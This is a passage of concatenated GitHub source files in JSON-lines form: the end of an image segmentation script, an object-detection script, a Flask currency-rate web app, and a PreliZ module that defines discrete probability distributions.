print(\"Segmentation ended with {} errors\".format(nError))\n\n\ndef main():\n if len(sys.argv) != 3:\n print('Usage: network_segmentation ')\n exit()\n\n root_dir = str(sys.argv[1])\n config_path = str(sys.argv[2])\n\n segmentation = Segmentation(config_path)\n segmentation.run_segmentation(root_dir)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"grinberglab/high-res-3D-tau","sub_path":"convnet/network_segmentation.py","file_name":"network_segmentation.py","file_ext":"py","file_size_in_byte":8211,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"9158181203","text":"\nimport cv2 \nimport numpy as np \nimport matplotlib.pyplot as plt \n#from keras.datasets import cifar10\nimport argparse\nimport cvlib as cv\nfrom cvlib.object_detection import draw_bbox\nimport os\n\ndef saving_image(image, output, image_name):\n #save your image to output path using opencv\n path = output\n im_bgr = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n cv2.imwrite(os.path.join(path, image_name), im_bgr)\n cv2.waitKey(0)\n\n# Read, Detect, Write and Repeat\nap = argparse.ArgumentParser()\nap.add_argument('-i', '--image', required=True, help = 'Use -i flag with path to image as argument')\nap.add_argument('-s', '--save', required=True, help = 'Use -s flag with path to output as argument')\nargs = vars(ap.parse_args())\n\n# Loading an image from Cambridge, with wildlife\nimage = cv2.imread(args[\"image\"]) #B G R\noutput = args[\"save\"]\ncv2.imshow('Input Image', image)\n\n#you must press to continue\ncv2.waitKey(1)\n\n# manipulate the image\nbbox, label, conf = cv.detect_common_objects(image) \noutput_image = draw_bbox(image, bbox, label, conf)\n\nsaving_image(np.flip(output_image, axis=2), output, \"detection.jpg\")\nplt.imshow(np.flip(output_image, axis=2))\nplt.show()\nexit()\n\n","repo_name":"alicebarbe/HackCambridge2021","sub_path":"obj_recognition.py","file_name":"obj_recognition.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38963792864","text":"# -*- coding: utf-8 -*-\n\n# import needed modules\nfrom flask import render_template, request\nfrom datetime import date\nimport json\nimport plotly\nimport plotly.express as px\n\nfrom database import app, db_nbp, Currency, CurrencyDayMidRate\n\n\n# define endpoints\n@app.route(\"/\", methods=['GET', 'POST'])\ndef index():\n return render_template('index.html')\n\n\npln = Currency(id=0, name=\"polski złoty\", code=\"PLN\")\n\n\n@app.route(\"/comparison\", methods=['GET', 'POST'])\ndef comparison():\n resp = None\n currencies = Currency.query.all()\n currencies.append(pln)\n\n if request.method == \"POST\":\n resp = dict(request.form)\n first_currency_id = int(request.form.get('first_currency'))\n second_currency_id = int(request.form.get('second_currency'))\n\n if first_currency_id != 0:\n first_currency = CurrencyDayMidRate.query.filter_by(\n currency_id=first_currency_id,\n date=date.today()\n ).first()\n else:\n first_currency = CurrencyDayMidRate(mid_rate=1.00)\n\n if second_currency_id != 0:\n second_currency = CurrencyDayMidRate.query.filter_by(\n currency_id=second_currency_id,\n date=date.today()\n ).first()\n else:\n second_currency = CurrencyDayMidRate(mid_rate=1.00)\n\n if not first_currency:\n first_currency = CurrencyDayMidRate.query.filter_by(\n currency_id=first_currency_id\n ).order_by(CurrencyDayMidRate.date.desc()).first()\n resp['date'] = first_currency.date\n\n if not second_currency:\n second_currency = CurrencyDayMidRate.query.filter_by(\n currency_id=second_currency_id\n ).order_by(CurrencyDayMidRate.date.desc()).first()\n resp['date'] = second_currency.date\n\n first_currency_midrate = first_currency.mid_rate\n second_currency_midrate = second_currency.mid_rate\n\n if first_currency_midrate and second_currency_midrate:\n resp[\"compare_result\"] = first_currency_midrate - second_currency_midrate\n\n resp[\"first_currency\"] = [c for c in currencies if c.id == first_currency_id][0].code\n resp[\"second_currency\"] = [c for c in currencies if c.id == second_currency_id][0].code\n\n return render_template('comparison.html', resp=resp, currencies=currencies)\n\n\n@app.route(\"/trade\", methods=['GET', 'POST'])\ndef trade():\n resp = None\n currencies_date = None\n\n currencies = Currency.query.all()\n currencies.append(pln)\n\n if request.method == \"POST\":\n resp = dict(request.form)\n id_sell = int(request.form.get('sell'))\n id_buy = int(request.form.get('buy'))\n count = float(request.form.get('count', 0))\n resp[\"count\"] = float(count)\n if id_sell != 0:\n sell_c = CurrencyDayMidRate.query.filter_by(\n currency_id=id_sell,\n date=date.today()\n ).first()\n else:\n sell_c = CurrencyDayMidRate(mid_rate=1.00)\n\n if id_buy != 0:\n buy_c = CurrencyDayMidRate.query.filter_by(\n currency_id=id_buy,\n date=date.today()\n ).first()\n else:\n buy_c = CurrencyDayMidRate(mid_rate=1.00)\n\n if not sell_c:\n sell_c = CurrencyDayMidRate.query.filter_by(\n currency_id=id_sell\n ).order_by(CurrencyDayMidRate.date.desc()).first()\n currencies_date = sell_c.date\n\n if not buy_c:\n buy_c = CurrencyDayMidRate.query.filter_by(\n currency_id=id_buy\n ).order_by(CurrencyDayMidRate.date.desc()).first()\n currencies_date = buy_c.date\n\n if sell_c and buy_c and count:\n sell_value = sell_c.mid_rate\n buy_value = buy_c.mid_rate\n\n amount = (sell_value * count) / buy_value\n resp[\"amount\"] = amount\n\n resp[\"sell\"] = [c for c in currencies if c.id == id_sell][0].code\n resp[\"buy\"] = [c for c in currencies if c.id == id_buy][0].code\n\n return render_template('trade.html', resp=resp, currencies=currencies,\n date=currencies_date)\n\n\n@app.route(\"/table\", methods=['GET', 'POST'])\ndef table():\n query = db_nbp.session.query(Currency, CurrencyDayMidRate).\\\n join(CurrencyDayMidRate,\n Currency.id == CurrencyDayMidRate.currency_id).filter_by(\n date=date.today()\n ).all()\n record_date = date.today()\n\n if not query:\n last_record = CurrencyDayMidRate.query.filter_by(\n currency_id=8\n ).order_by(CurrencyDayMidRate.date.desc()).first()\n record_date = last_record.date\n\n query = db_nbp.session.query(Currency, CurrencyDayMidRate).\\\n join(CurrencyDayMidRate,\n Currency.id == CurrencyDayMidRate.currency_id).filter_by(\n date=record_date).all()\n\n return render_template('table.html', currencies=query, date=record_date)\n\n\n@app.route(\"/plot\", methods=['GET', 'POST'])\ndef plot():\n\n currency_id = 8\n currencies = Currency.query.all()\n\n if request.method == \"POST\" and currencies:\n currency_id = int(request.form.get('currency'))\n\n if currencies:\n\n currency = {}\n currency['name'] = [c for c in currencies if c.id == currency_id][0].name\n currency['code'] = [c for c in currencies if c.id == currency_id][0].code\n\n query = CurrencyDayMidRate.query.filter_by(\n currency_id=currency_id,\n ).order_by(CurrencyDayMidRate.date.asc()).all()\n\n df = {'date': [], 'mid_rate': []}\n\n for currency_day_midrate in query:\n df['date'].append(currency_day_midrate.date)\n df['mid_rate'].append(currency_day_midrate.mid_rate)\n\n else:\n currency = None\n df = {'date': [], 'mid_rate': []}\n\n fig = px.line(df, x='date', y='mid_rate',\n labels={\n \"date\": \"Data\",\n \"mid_rate\": \"Kurs (PLN)\"\n },\n )\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n\n return render_template('plot.html', graphJSON=graphJSON,\n currencies=currencies, currency=currency)\n","repo_name":"filrat2/currencies","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73362303148","text":"# pylint: disable=too-many-lines\n# pylint: disable=too-many-instance-attributes\n# pylint: disable=attribute-defined-outside-init\n# pylint: disable=invalid-unary-operand-type\n# pylint: disable=invalid-name\n\"\"\"\nDiscrete probability distributions.\n\"\"\"\nfrom copy import copy\nimport logging\nfrom math import ceil\n\nimport numpy as np\nfrom scipy import stats\nfrom scipy.special import logit, expit, gamma # pylint: disable=no-name-in-module\n\n\nfrom .distributions import Discrete\nfrom ..internal.optimization import optimize_ml, optimize_moments\nfrom ..internal.distribution_helper import all_not_none, any_not_none\n\n\n_log = logging.getLogger(\"preliz\")\n\neps = np.finfo(float).eps\n\n\nclass Bernoulli(Discrete):\n R\"\"\"Bernoulli distribution\n\n The Bernoulli distribution describes the probability of successes (x=1) and failures (x=0).\n The pmf of this distribution is\n\n .. math::\n f(x \\mid p) = p^{x} (1-p)^{1-x}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import Bernoulli\n az.style.use('arviz-white')\n for p in [0, 0.5, 0.8]:\n Bernoulli(p).plot_pdf()\n\n ======== ======================\n Support :math:`x \\in \\{0, 1\\}`\n Mean :math:`p`\n Variance :math:`p (1 - p)`\n ======== ======================\n\n The Bernoulli distribution has 2 alternative parametrizations. In terms of p or logit_p.\n\n The link between the 2 alternatives is given by\n\n .. math::\n\n logit(p) = ln(\\frac{p}{1-p})\n\n Parameters\n ----------\n p : float\n Probability of success (0 < p < 1).\n logit_p : float\n Alternative log odds for the probability of success.\n \"\"\"\n\n def __init__(self, p=None, logit_p=None):\n super().__init__()\n self.dist = copy(stats.bernoulli)\n self.support = (0, 1)\n self._parametrization(p, logit_p)\n\n def _parametrization(self, p=None, logit_p=None):\n if all_not_none(p, logit_p):\n raise ValueError(\"Incompatible parametrization. Either use p or logit_p.\")\n\n self.param_names = \"p\"\n self.params_support = ((eps, 1),)\n\n if logit_p is not None:\n p = self._from_logit_p(logit_p)\n self.param_names = (\"logit_p\",)\n\n self.p = p\n self.logit_p = logit_p\n if self.p is not None:\n self._update(self.p)\n\n def _from_logit_p(self, logit_p):\n return expit(logit_p)\n\n def _to_logit_p(self, p):\n return logit(p)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.p)\n return frozen\n\n def _update(self, p):\n self.p = np.float64(p)\n self.logit_p = self._to_logit_p(p)\n\n if self.param_names[0] == \"p\":\n self.params = (self.p,)\n elif self.param_names[0] == \"logit_p\":\n self.params = (self.logit_p,)\n\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma): # pylint: disable=unused-argument\n p = mean\n self._update(p)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass BetaBinomial(Discrete):\n R\"\"\"\n Beta-binomial distribution.\n\n Equivalent to binomial random variable with success probability\n drawn from a beta distribution.\n\n The pmf of this distribution is\n\n .. math::\n\n f(x \\mid \\alpha, \\beta, n) =\n \\binom{n}{x}\n \\frac{B(x + \\alpha, n - x + \\beta)}{B(\\alpha, \\beta)}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import BetaBinomial\n az.style.use('arviz-white')\n alphas = [0.5, 1, 2.3]\n betas = [0.5, 1, 2]\n n = 10\n for a, b in zip(alphas, betas):\n BetaBinomial(a, b, n).plot_pdf()\n\n ======== =================================================================\n Support :math:`x \\in \\{0, 1, \\ldots, n\\}`\n Mean :math:`n \\dfrac{\\alpha}{\\alpha + \\beta}`\n Variance :math:`\\dfrac{n \\alpha \\beta (\\alpha+\\beta+n)}{(\\alpha+\\beta)^2 (\\alpha+\\beta+1)}`\n ======== =================================================================\n\n Parameters\n ----------\n n : int\n Number of Bernoulli trials (n >= 0).\n alpha : float\n alpha > 0.\n beta : float\n beta > 0.\n \"\"\"\n\n def __init__(self, alpha=None, beta=None, n=None):\n super().__init__()\n self.dist = copy(stats.betabinom)\n self.support = (0, np.inf)\n self._parametrization(alpha, beta, n)\n\n def _parametrization(self, alpha=None, beta=None, n=None):\n self.alpha = alpha\n self.beta = beta\n self.n = n\n self.params = (self.alpha, self.beta, self.n)\n self.param_names = (\"alpha\", \"beta\", \"n\")\n self.params_support = ((eps, np.inf), (eps, np.inf), (eps, np.inf))\n if all_not_none(alpha, beta):\n self._update(alpha, beta, n)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(n=self.n, a=self.alpha, b=self.beta)\n return frozen\n\n def _update(self, alpha, beta, n):\n self.alpha = np.float64(alpha)\n self.beta = np.float64(beta)\n self.n = np.int64(n)\n self.params = (self.alpha, self.beta, self.n)\n self.support = (0, self.n)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n # Crude aproximation for n (as in Binomial distribution)\n # For alpha and beta see:\n # https://en.wikipedia.org/wiki/Beta-binomial_distribution#Method_of_moments\n n = mean + sigma * 2\n p = mean / n\n rho = ((sigma**2 / (mean * (1 - p))) - 1) / (n - 1)\n alpha = max(0.5, (p / rho) - p)\n beta = max(0.5, (alpha / p) - alpha)\n params = alpha, beta, n\n optimize_moments(self, mean, sigma, params)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass Binomial(Discrete):\n R\"\"\"\n Binomial distribution.\n\n The discrete probability distribution of the number of successes\n in a sequence of n independent yes/no experiments, each of which\n yields success with probability p.\n\n The pmf of this distribution is\n\n .. math:: f(x \\mid n, p) = \\binom{n}{x} p^x (1-p)^{n-x}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import Binomial\n az.style.use('arviz-white')\n ns = [5, 10, 10]\n ps = [0.5, 0.5, 0.7]\n for n, p in zip(ns, ps):\n Binomial(n, p).plot_pdf()\n\n ======== ==========================================\n Support :math:`x \\in \\{0, 1, \\ldots, n\\}`\n Mean :math:`n p`\n Variance :math:`n p (1 - p)`\n ======== ==========================================\n\n Parameters\n ----------\n n : int\n Number of Bernoulli trials (n >= 0).\n p : float\n Probability of success in each trial (0 < p < 1).\n \"\"\"\n\n def __init__(self, n=None, p=None):\n super().__init__()\n self.dist = copy(stats.binom)\n self.support = (0, np.inf)\n self._parametrization(n, p)\n\n def _parametrization(self, n=None, p=None):\n self.n = n\n self.p = p\n self.params = (self.n, self.p)\n self.param_names = (\"n\", \"p\")\n self.params_support = ((eps, np.inf), (eps, 1 - eps))\n if all_not_none(n, p):\n self._update(n, p)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.n, self.p)\n return frozen\n\n def _update(self, n, p):\n self.n = np.int64(n)\n self.p = np.float64(p)\n self.params = (self.n, self.p)\n self.support = (0, self.n)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n # crude approximation for n and p\n n = mean + sigma * 2\n p = mean / n\n params = n, p\n optimize_moments(self, mean, sigma, params)\n\n def _fit_mle(self, sample):\n # see https://doi.org/10.1016/j.jspi.2004.02.019 for details\n x_bar = np.mean(sample)\n x_std = np.std(sample)\n x_max = np.max(sample)\n n = ceil(x_max ** (1.5) * x_std / (x_bar**0.5 * (x_max - x_bar) ** 0.5))\n p = x_bar / n\n self._update(n, p)\n\n\nclass Categorical(Discrete):\n R\"\"\"\n Categorical distribution.\n\n The most general discrete distribution. The pmf of this distribution is\n\n .. math:: f(x \\mid p) = p_x\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import Categorical\n az.style.use('arviz-white')\n ps = [[0.1, 0.6, 0.3], [0.3, 0.1, 0.1, 0.5]]\n for p in ps:\n Categorical(p).plot_pdf()\n\n ======== ===================================\n Support :math:`x \\in \\{0, 1, \\ldots, |p|-1\\}`\n ======== ===================================\n\n Parameters\n ----------\n p : array of floats\n p > 0 and the elements of p must sum to 1.\n logit_p : float\n Alternative log odds for the probability of success.\n \"\"\"\n\n def __init__(self, p=None, logit_p=None):\n super().__init__()\n self.dist = copy(stats.multinomial)\n self._parametrization(p, logit_p)\n\n def pdf(self, x): # pylint: disable=arguments-differ\n x = np.asarray(x)\n pmf = np.zeros_like(x, dtype=float)\n valid_categories = np.where((x >= 0) & (x < len(self.p)))[0]\n pmf[valid_categories] = self.p[x[valid_categories]]\n return pmf\n\n def cdf(self, x): # pylint: disable=arguments-differ\n x = np.asarray(x, dtype=int)\n cdf = np.ones_like(x, dtype=float)\n cdf[x < 0] = 0\n valid_categories = np.where((x >= 0) & (x < len(self.p)))[0]\n cdf[valid_categories] = np.cumsum(self.p)[x[valid_categories]]\n return cdf\n\n def ppf(self, q): # pylint: disable=arguments-differ\n cumsum = np.cumsum(self.p)\n return np.searchsorted(cumsum, q)\n\n def _parametrization(self, p=None, logit_p=None):\n if all_not_none(p, logit_p):\n raise ValueError(\"Incompatible parametrization. Either use p or logit_p.\")\n\n self.param_names = \"p\"\n self.params_support = ((eps, np.inf),)\n\n if logit_p is not None:\n p = self._from_logit_p(logit_p)\n self.param_names = (\"logit_p\",)\n\n self.p = p\n self.logit_p = logit_p\n if self.p is not None:\n self.support = (0, len(p) - 1)\n self._update(self.p)\n\n def _from_logit_p(self, logit_p):\n return expit(logit_p)\n\n def _to_logit_p(self, p):\n return logit(p)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(n=1, p=self.p)\n return frozen\n\n def _update(self, p):\n self.p = np.array(p)\n self.logit_p = self._to_logit_p(p)\n\n if self.param_names[0] == \"p\":\n self.params = (self.p,)\n elif self.param_names[0] == \"logit_p\":\n self.params = (self.logit_p,)\n\n self._update_rv_frozen()\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass DiscreteUniform(Discrete):\n R\"\"\"\n Discrete Uniform distribution.\n\n The pmf of this distribution is\n\n .. math:: f(x \\mid lower, upper) = \\frac{1}{upper-lower+1}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import DiscreteUniform\n az.style.use('arviz-white')\n ls = [1, -2]\n us = [6, 2]\n for l, u in zip(ls, us):\n ax = DiscreteUniform(l, u).plot_pdf()\n ax.set_ylim(0, 0.25)\n\n ======== ===============================================\n Support :math:`x \\in {lower, lower + 1, \\ldots, upper}`\n Mean :math:`\\dfrac{lower + upper}{2}`\n Variance :math:`\\dfrac{(upper - lower + 1)^2 - 1}{12}`\n ======== ===============================================\n\n Parameters\n ----------\n lower: int\n Lower limit.\n upper: int\n Upper limit (upper > lower).\n \"\"\"\n\n def __init__(self, lower=None, upper=None):\n super().__init__()\n self.dist = copy(stats.randint)\n self._parametrization(lower, upper)\n\n def _parametrization(self, lower=None, upper=None):\n self.lower = lower\n self.upper = upper\n self.params = (self.lower, self.upper)\n self.param_names = (\"lower\", \"upper\")\n self.params_support = ((-np.inf, np.inf), (-np.inf, np.inf))\n if lower is None:\n self.lower = -np.inf\n if upper is None:\n self.upper = np.inf\n self.support = (self.lower, self.upper)\n self.dist.a = self.lower\n self.dist.b = self.upper\n if all_not_none(lower, upper):\n self._update(lower, upper)\n else:\n self.lower = lower\n self.upper = upper\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.lower, self.upper + 1)\n return frozen\n\n def _update(self, lower, upper):\n self.lower = np.floor(lower)\n self.upper = np.ceil(upper)\n self.params = (self.lower, self.upper)\n self.support = (self.lower, self.upper)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n spr = (12 * sigma**2 + 1) ** 0.5\n lower = 0.5 * (2 * mean - spr + 1)\n upper = 0.5 * (2 * mean + spr - 1)\n self._update(lower, upper)\n\n def _fit_mle(self, sample):\n lower = np.min(sample)\n upper = np.max(sample)\n self._update(lower, upper)\n\n\nclass DiscreteWeibull(Discrete):\n R\"\"\"\n Discrete Weibull distribution.\n\n The pmf of this distribution is\n\n .. math::\n\n f(x \\mid q, \\beta) = q^{x^{\\beta}} - q^{(x+1)^{\\beta}}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import DiscreteWeibull\n az.style.use('arviz-white')\n qs = [0.1, 0.9, 0.9]\n betas = [0.3, 1.3, 3]\n for q, b in zip(qs, betas):\n DiscreteWeibull(q, b).plot_pdf(support=(0,10))\n\n ======== ===============================================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\mu = \\sum_{x = 1}^{\\infty} q^{x^{\\beta}}`\n Variance :math:`2 \\sum_{x = 1}^{\\infty} x q^{x^{\\beta}} - \\mu - \\mu^2`\n ======== ===============================================\n\n Parameters\n ----------\n q: float\n Shape parameter (0 < q < 1).\n beta: float\n Shape parameter (beta > 0).\n \"\"\"\n\n def __init__(self, q=None, beta=None):\n super().__init__()\n self.dist = _DiscreteWeibull\n self.support = (0, np.inf)\n self._parametrization(q, beta)\n\n def _parametrization(self, q=None, beta=None):\n self.q = q\n self.beta = beta\n self.params = (self.q, self.beta)\n self.param_names = (\"q\", \"beta\")\n self.params_support = ((eps, 1 - eps), (eps, np.inf))\n if all_not_none(q, beta):\n self._update(q, beta)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.q, self.beta)\n return frozen\n\n def _update(self, q, beta):\n self.q = np.float64(q)\n self.beta = np.float64(beta)\n self.support = (0, np.inf)\n self.params = (self.q, self.beta)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n optimize_moments(self, mean, sigma)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass _DiscreteWeibull(stats.rv_continuous):\n def __init__(self, q=None, beta=None):\n super().__init__()\n self.q = q\n self.beta = beta\n\n def support(self, *args, **kwds): # pylint: disable=unused-argument\n return (0, np.inf)\n\n def cdf(self, x, *args, **kwds): # pylint: disable=unused-argument\n x = np.asarray(x)\n return np.nan_to_num(1 - self.q ** ((x + 1) ** self.beta))\n\n def pmf(self, x, *args, **kwds): # pylint: disable=unused-argument\n x = np.asarray(x)\n return self.q ** (x**self.beta) - self.q ** ((x + 1) ** self.beta)\n\n def logpmf(self, x, *args, **kwds): # pylint: disable=unused-argument\n return np.log(self.pmf(x, *args, **kwds))\n\n def ppf(self, p, *args, **kwds): # pylint: disable=arguments-differ unused-argument\n p = np.asarray(p)\n p[p == 1] = 0.999999\n ppf = np.ceil((np.log(1 - p) / np.log(self.q)) ** (1 / self.beta) - 1)\n return ppf\n\n def _stats(self, *args, **kwds): # pylint: disable=unused-argument\n x_max = np.nan_to_num(self._ppf(0.999), nan=1)\n if x_max < 10000:\n x_range = np.arange(1, x_max + 1, dtype=int)\n mean = np.sum(self.q ** (x_range**self.beta))\n var = 2 * np.sum(x_range * self.q ** (x_range**self.beta)) - mean - mean**2\n else:\n lam = (-1 / np.log(self.q)) ** (1 / self.beta)\n kappa = gamma(1 + 1 / self.beta)\n mean = lam * kappa - 0.5\n var = lam**2 * (gamma(1 + 2 / self.beta) - (kappa**2)) - 1\n return (mean, var, np.nan, np.nan)\n\n def entropy(self): # pylint: disable=arguments-differ\n entropy = 0.0\n x = 0\n while True:\n p_x = self.q ** (x**self.beta) - self.q ** ((x + 1) ** self.beta)\n if p_x < 1e-6:\n break\n entropy -= p_x * np.log(p_x)\n x += 1\n return entropy\n\n # return self.q / np.log(self.beta)\n\n def rvs(self, size=1, random_state=None): # pylint: disable=arguments-differ\n return self.ppf(np.random.uniform(size=size), random_state=random_state)\n\n\nclass Geometric(Discrete):\n R\"\"\"\n Geometric distribution.\n\n The probability that the first success in a sequence of Bernoulli trials\n occurs on the x'th trial.\n The pmf of this distribution is\n\n .. math::\n f(x \\mid p) = p(1-p)^{x-1}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import Geometric\n az.style.use('arviz-white')\n for p in [0.1, 0.25, 0.75]:\n Geometric(p).plot_pdf(support=(1,10))\n\n ======== =============================\n Support :math:`x \\in \\mathbb{N}_{>0}`\n Mean :math:`\\dfrac{1}{p}`\n Variance :math:`\\dfrac{1 - p}{p^2}`\n ======== =============================\n\n Parameters\n ----------\n p : float\n Probability of success on an individual trial (0 < p <= 1).\n \"\"\"\n\n def __init__(self, p=None):\n super().__init__()\n self.dist = copy(stats.geom)\n self.support = (eps, np.inf)\n self._parametrization(p)\n\n def _parametrization(self, p=None):\n self.p = p\n self.param_names = \"p\"\n self.params_support = ((eps, 1),)\n if self.p is not None:\n self._update(self.p)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.p)\n return frozen\n\n def _update(self, p):\n self.p = np.float64(p)\n self.params = (self.p,)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma): # pylint: disable=unused-argument\n p = 1 / mean\n self._update(p)\n\n def _fit_mle(self, sample):\n mean = np.mean(sample)\n p = 1 / mean\n self._update(p)\n\n\nclass HyperGeometric(Discrete):\n R\"\"\"\n Discrete hypergeometric distribution.\n\n The probability of :math:`x` successes in a sequence of :math:`n` bernoulli\n trials taken without replacement from a population of :math:`N` objects,\n containing :math:`k` good (or successful or Type I) objects.\n The pmf of this distribution is\n\n .. math:: f(x \\mid N, n, k) = \\frac{\\binom{k}{x}\\binom{N-k}{n-x}}{\\binom{N}{n}}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import HyperGeometric\n az.style.use('arviz-white')\n N = 50\n k = 10\n for n in [20, 25]:\n HyperGeometric(N, k, n).plot_pdf(support=(1,15))\n\n ======== =============================\n Support :math:`x \\in \\left[\\max(0, n - N + k), \\min(k, n)\\right]`\n Mean :math:`\\dfrac{nk}{N}`\n Variance :math:`\\dfrac{(N-n)nk(N-k)}{(N-1)N^2}`\n ======== =============================\n\n Parameters\n ----------\n N : int\n Total size of the population (N > 0)\n k : int\n Number of successful individuals in the population (0 <= k <= N)\n n : int\n Number of samples drawn from the population (0 <= n <= N)\n \"\"\"\n\n def __init__(self, N=None, k=None, n=None):\n super().__init__()\n self.dist = copy(stats.hypergeom)\n self._parametrization(N, k, n)\n self.support = (0, np.inf)\n\n def _parametrization(self, N=None, k=None, n=None):\n self.N = N\n self.k = k\n self.n = n\n self.param_names = (\"N\", \"k\", \"n\")\n self.params_support = ((eps, np.inf), (eps, self.N), (eps, self.N))\n if all_not_none(self.N, self.k, self.n):\n self._update(N, k, n)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(M=self.N, N=self.n, n=self.k)\n return frozen\n\n def _update(self, N, k, n):\n self.N = np.int64(N)\n self.k = np.int64(k)\n self.n = np.int64(n)\n self.params = (self.N, self.k, self.n)\n self.support = (max(0, n - N + k), min(k, n))\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n n = mean + sigma * 4\n k = n\n N = k * n / mean\n params = N, k, n\n optimize_moments(self, mean, sigma, params)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass NegativeBinomial(Discrete):\n R\"\"\"\n Negative binomial distribution.\n\n The negative binomial distribution describes a Poisson random variable\n whose rate parameter is gamma distributed.\n Its pmf, parametrized by the parameters alpha and mu of the gamma distribution, is\n\n .. math::\n\n f(x \\mid \\mu, \\alpha) =\n \\binom{x + \\alpha - 1}{x}\n (\\alpha/(\\mu+\\alpha))^\\alpha (\\mu/(\\mu+\\alpha))^x\n\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import NegativeBinomial\n az.style.use('arviz-white')\n mus = [1, 2, 8]\n alphas = [0.9, 2, 4]\n for mu, alpha in zip(mus, alphas):\n NegativeBinomial(mu, alpha).plot_pdf(support=(0, 20))\n\n ======== ==========================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\mu`\n Variance :math:`\\frac{\\mu (\\alpha + \\mu)}{\\alpha}`\n ======== ==========================\n\n The negative binomial distribution can be parametrized either in terms of mu and alpha,\n or in terms of n and p. The link between the parametrizations is given by\n\n .. math::\n\n p &= \\frac{\\alpha}{\\mu + \\alpha} \\\\\n n &= \\alpha\n\n If it is parametrized in terms of n and p, the negative binomial describes the probability\n to have x failures before the n-th success, given the probability p of success in each trial.\n Its pmf is\n\n .. math::\n\n f(x \\mid n, p) =\n \\binom{x + n - 1}{x}\n (p)^n (1 - p)^x\n\n Parameters\n ----------\n alpha : float\n Gamma distribution shape parameter (alpha > 0).\n mu : float\n Gamma distribution mean (mu > 0).\n p : float\n Probability of success in each trial (0 < p < 1).\n n : float\n Number of target success trials (n > 0)\n \"\"\"\n\n def __init__(self, mu=None, alpha=None, p=None, n=None):\n super().__init__()\n self.dist = copy(stats.nbinom)\n self.support = (0, np.inf)\n self._parametrization(mu, alpha, p, n)\n\n def _parametrization(self, mu=None, alpha=None, p=None, n=None):\n if any_not_none(mu, alpha) and any_not_none(p, n):\n raise ValueError(\"Incompatible parametrization. Either use mu and alpha, or p and n.\")\n\n self.param_names = (\"mu\", \"alpha\")\n self.params_support = ((eps, np.inf), (eps, np.inf))\n\n if any_not_none(p, n):\n self.p = p\n self.n = n\n self.param_names = (\"p\", \"n\")\n if all_not_none(p, n):\n mu, alpha = self._from_p_n(p, n)\n\n self.mu = mu\n self.alpha = alpha\n if all_not_none(mu, alpha):\n self._update(mu, alpha)\n\n def _from_p_n(self, p, n):\n alpha = n\n mu = n * (1 / p - 1)\n return mu, alpha\n\n def _to_p_n(self, mu, alpha):\n p = alpha / (mu + alpha)\n n = alpha\n return p, n\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.n, self.p)\n return frozen\n\n def _update(self, mu, alpha):\n self.mu = np.float64(mu)\n self.alpha = np.float64(alpha)\n self.p, self.n = self._to_p_n(self.mu, self.alpha)\n\n if self.param_names[0] == \"mu\":\n self.params = (self.mu, self.alpha)\n elif self.param_names[0] == \"p\":\n self.params = (self.p, self.n)\n\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n optimize_moments(self, mean, sigma)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass Poisson(Discrete):\n R\"\"\"\n Poisson distribution.\n\n Often used to model the number of events occurring in a fixed period\n of time when the times at which events occur are independent.\n The pmf of this distribution is\n\n .. math:: f(x \\mid \\mu) = \\frac{e^{-\\mu}\\mu^x}{x!}\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import Poisson\n az.style.use('arviz-white')\n for mu in [0.5, 3, 8]:\n Poisson(mu).plot_pdf()\n\n ======== ==========================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\mu`\n Variance :math:`\\mu`\n ======== ==========================\n\n Parameters\n ----------\n mu: float\n Expected number of occurrences during the given interval\n (mu >= 0).\n\n Notes\n -----\n The Poisson 